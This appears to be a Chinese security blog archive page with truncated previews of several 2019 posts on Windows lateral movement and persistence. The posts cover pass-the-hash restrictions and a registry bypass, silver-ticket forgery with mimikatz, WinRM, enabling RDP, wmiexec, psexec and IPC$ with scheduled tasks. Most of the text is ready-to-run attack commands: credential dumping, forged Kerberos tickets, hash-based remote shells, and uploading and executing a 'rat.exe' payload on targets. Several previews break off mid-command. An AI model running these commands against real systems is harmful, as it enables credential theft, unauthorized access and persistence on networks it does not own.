Windows Lateral-Movement Pth Ptk      2019-12-14

        在最近的pth使用中发现常常会出现如下的错误:


当时怀疑与使用的用户权限或者与目标的系统补丁有关,特地查了下资料,总结如下。



一、Pth是不是漏洞?

        微软官方不承认这是一个漏洞,只是NTLM验证过程中的缺陷,这就意味着在所有的系统上均可以利用。在本地试验了下,打全补丁仍然可以Pth成功。谈到Pth经常会说到一个补丁编号:KB2871997,该补丁主要是禁用Wdigest Auth强制系统的内存保存明文口令。由HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest下的UseLogonCredential 值决定,当UseLogonCredential 为1时,WDigest会保存凭据到内存中,为0时,不会保存(当不存在该键时,默认为0)。并且在Windows 8.1和 Server 2012 R2 + 默认集成。

        所以出现该问题(rpc_s_access_denied)的原因只可能是用户权限的问题。


二、Pth 利用限制

    1. 在利用非 Administrator 用户的本地管理员凭证Pth,返回 Access is Denied 之类的错误,跟遇到的错误一样

PS:本地管理员用户 smb_login 没有判断出来Administrator ???

 

    2. 但是域管账号可以正常使用,不受影响

       

        对于上述的现象,该文章[1] 中有很好的总结:对于任何非RID 500的本地管理员(Administrator)连接到WIndows Vista+的计算机,无论是采用WMI、PSexec还是其他方法,使用的令牌都是"已经过滤过的"(即中等令牌)。当使用上述命令进行链接的时候会显示Access is Denied。


三、Pth 限制突破

    1. 修改目标注册表

        如果已经拿下的目标系统权限,抓取hash,可以修改目标标注册表配置,使其本地管理员组的成员都能远程连接(WMI、PSexec),作为持久化的一种手段。

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFi
Windows AD Persistence Pth      2019-11-28

一、利用基础

        在知道目标机器的NTLM hash域SID的基础上,可以伪造任意用户访问目标机器上的服务。其过程不会与KDC通信,因此不会再KDC上留下任何痕迹,只会在目标机器和本机留下日志。可以利用的服务如下:

服务注释服务名称
WMIHOST&RPCSS
Powershell RemoteingHOST&HTTP
WinRMHOST&HTTP
Scheduled TasksHOST
LDAP、DCSyncLDAP
Windows File Share(CIFS)CIFS
Windows Remote Server Administration ToolsRPCSS&LDAP&CIFS

 

 

二、白银票据伪造

    1. 需要事先导出目标机器的服务Hash,利用的工具很多,这里用mimikatz演示

mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" 

 

 

    2. 利用mimikatz进行白银票据伪造并直接注入到内存

mimikatz "kerberos::golden /user:any-user /domain:domain.com /sid:S-1-5-21-2056922362-3943291772-3165935835 /target:dc-01.domain.com /rc4:cd76662d4420b930cce605b6edab46a1 /service:cifs /ptt" "exit" 

参数说明:

 

/domain:域的完整名称,如:lab.adsecurity.org
/sid:域SID,如:S-1-5-21-1473643419-774954089-2222329127
/user:域用户名,白银票据可以是任意用户,可以不存在
/service:指定服务类型,如:host、cifs、http、rpcss、ldap等
/groups(可选):用户所属的组RID,指定用户权限
/ticket(可选):指定一个路径保存票据
/ptt(可选):将申请的票据直接注入内存
/id(可选):用户RID,Mimikatz默认值是500(默认管理员帐户RID)
/endin(可选):票据有效时间,Mimikatz默认值是10年,Active Directory默认Kerberos策略设置
Windows Lateral-Movement Persistence Pth      2019-11-25

一、Windows 远程管理服务

        WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。通过HTTP(5985)或HTTPS SOAP(5986)执行通信,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。使用此服务需要管理员级别凭据。

 

二、利用的基础条件

    1. 通信的双方都需要开启WinRM服务

        Windows 2008 以上版本默认自动状态,Windows Vista/win7上必须手动启动;WinRS 适用于Windows 2008 以上版本;Windows 2012 之后的版本默认允许远程任意主机来管理。开启可以使用下面其中一条命令即可

winrm quickconfig -q
Enable-PSRemoting -Force

    2. 服务端防火墙允许WinRM服务端口通信

        默认为5985、5986;如果5985打开,但是5986关闭,标识WinRM服务配置为仅接受HTTP连接。修改默认端口可以使用如下:

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

 

    3. WinRM通信两端配置要求

    (1)查看WinRM具体配置:

winrm get winrm/config

    (2)允许所有客户端IP连接:

winrm set winrm/config/Client @{TrustedHosts="*"}
winrm e winrm/config/listener # 查看监听地址和端口

 

三、远程管理

    1. WinRS 进行远程管理

winrs -r:http://192.168.1.152:5985 -u:administrator -p:admin123 "whoami /all" # 执行单条命令
winrs -r:http://192.168.1.152:5985 -u:administrator -p:admin123 cmd # 返回交互式cmd

    2. 利用Powershell远程管理

Invoke-Command -ComputerName server01 -Credential domain01\user01 -ScriptBlock {Get-Cu
Windows Lateral-Movement Persistence Pth      2019-11-21

一、RDP 服务确定和启动

    1. 确定RDP服务是否启动和服务端口

        (1)注册表查询

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections # 查看RDP服务是否开启:1关闭,0开启
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber  # 查看RDP服务的端口

 

        (2)进程查看

tasklist /svc | find "TermService" # 找到对应服务进程的PID
netstat -ano | find "3220" # 找到进程对应的端口号

 

    2. 启动RDP服务

        (1)cmd 本地注册表启动

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f  # 监听 3389 端口 

也可以通过reg配置文件的方式启动:regedit /s startrdp.reg

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber
Lateral-Movement Windows Pth      2019-11-04

        WMI(Windows Management Instrumentation) 是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。

 

一、wmiexec.vbs 使用(需要目标用户的明文)

        1. 半交互shell模式

cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 hostname\username password
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 doamin\username password

        2. 单条命令执行模式:

cscript.exe //nologo wmiexec.vbs /cmd 192.168.1.1 username password "whoami"
cscript.exe //nologo wmiexec.vbs /cmd 192.168.1.1 hostname\username password "whoami"
cscript.exe //nologo wmiexec.vbs /cmd 192.168.1.1 doamin\username password "whoami"

 

二、Wmiexec 使用(需要知道目标用户明文或者hash)

        1. 半交互式shell模式:

wmiexec ./admin:password@192.168.1.1
wmiexec hostname/admin:password@192.168.1.1
wmiexec domain/admin:password@192.168.1.1
wmiexec -hashes :$HASH$ ./admin@192.168.1.1
wmiexec -hashes :$HASH$ hostname/admin@192.168.1.1
wmiexec -hashes :$HASH$ domain/admin@192.168.1.1

        2. 执行命令模式

wmiexec ./admin:passwo
Lateral-Movement Windows Pth      2019-11-04

        利用SMB服务需要先建立IPC,可以通过hash传递来远程执行,默认回来System权限,需要目标防火墙开启445并允许通过。

 

一、Psexec使用

        利用Psexec需要目标开启admin$,并且会在目标创建服务(PSEXESVC )来执行,会在目标日志中留下大量合计,并且在实际利用中容易被各种杀软拦截,可以通过先建立IPC链接后使用或者直接提供用户凭证进行利用,利用过程如下:

        1. 通过明文密码的方式获得目标主机的半交互式shell:

 psexec \\192.168.1.2 cmd # 需要先有ipc链接
 psexec \\192.168.1.2 -u administrator -p password cmd # 直接提供明文账户密码,可以不用建立IPC
 psexec \\192.168.1.2 -u administrator -p password -s cmd # -s 指定以System权限运行

        2. 通过hash传递的方式获得远程主机的半交互式shell:

psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3

        3. 上传exe到目标执行:

psexec \\192.168.1.2 -u administrator -p password -c C:\Windows\Temp\rat.exe
psexec -hashes :$HASH$ ./administrator@10.1.2.3 -c C:\Windows\Temp\rat.exe
psexec -hashes :$HASH$ domain/administrator@10.1.2.3 -c C:\Windows\Temp\rat.exe

 

二、使用总结

        1. Psexec 需要目标开启 admin$ 共享

        2. Psexec 连接目标时会创建PSEXESVC 服务,退出时删除PSEXESVC 服务,会在目标日志系统留下大量痕迹

        3. 通过Psexec获得交互式shell时,正常使用exit退出会删除目标机器上的PSEXESVC 服务,直接

Lateral-Movement Windows Pth      2019-11-02

    在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?这里仅介绍at&schtasks命令及相关工具的使用,在已知目标系统的用户明文密码或者hash的基础上,直接可以在远程主机上执行命令。

 

一、利用流程

    1. 建立IPC链接到目标主机

    2. 拷贝要执行的命令脚本到目标主机

    3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本

    4. 删除IPC链接

 

二、IPC

    1. IPC简介及使用

        IPC是专用管道,可以实现对远程计算机的访问,需要使用目标系统用户的账号密码,使用139、445端口。创建IPC链接可以使用如下的命令:

net use \\server\ipc$"password" /user:username # 链接工作组机器
net use \\server\ipc$"password" /user:domain\username # 链接域内机器

其中ipc$可以换成具体的盘符或者路径,如D$、C:\\Windows\Temp……IPC的使用如下:

dir \\192.168.72.128\C$\                # 查看文件列表
copy  \\192.168.72.128\C$\1.bat  1.bat  # 下载文件
copy  1.bat  \\192.168.72.128\C$\1.bat  # 上传文件
net use \\192.168.72.128\C$\1.bat /del  # 删除IPC
net share ipc$ | admin$                 # 开启逻辑共享(C$、D$、E$……)或者 系统共享(ADMIN$)
net view 192.168.72.128                 # 查看对方共享

 注意:如果路径中出现空格,用双引号引起来如:dir \\server\C$\Windows\"Top secret.rar"。如果是用ip建立的ipc,必须用ip运行上述命令,如果用的计算机名建立的ipc,也必须用计算机名运行上述的命令。

 

    2. 建立IPC常见的错误代码

    (1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限

    (2)51:网络问题,Window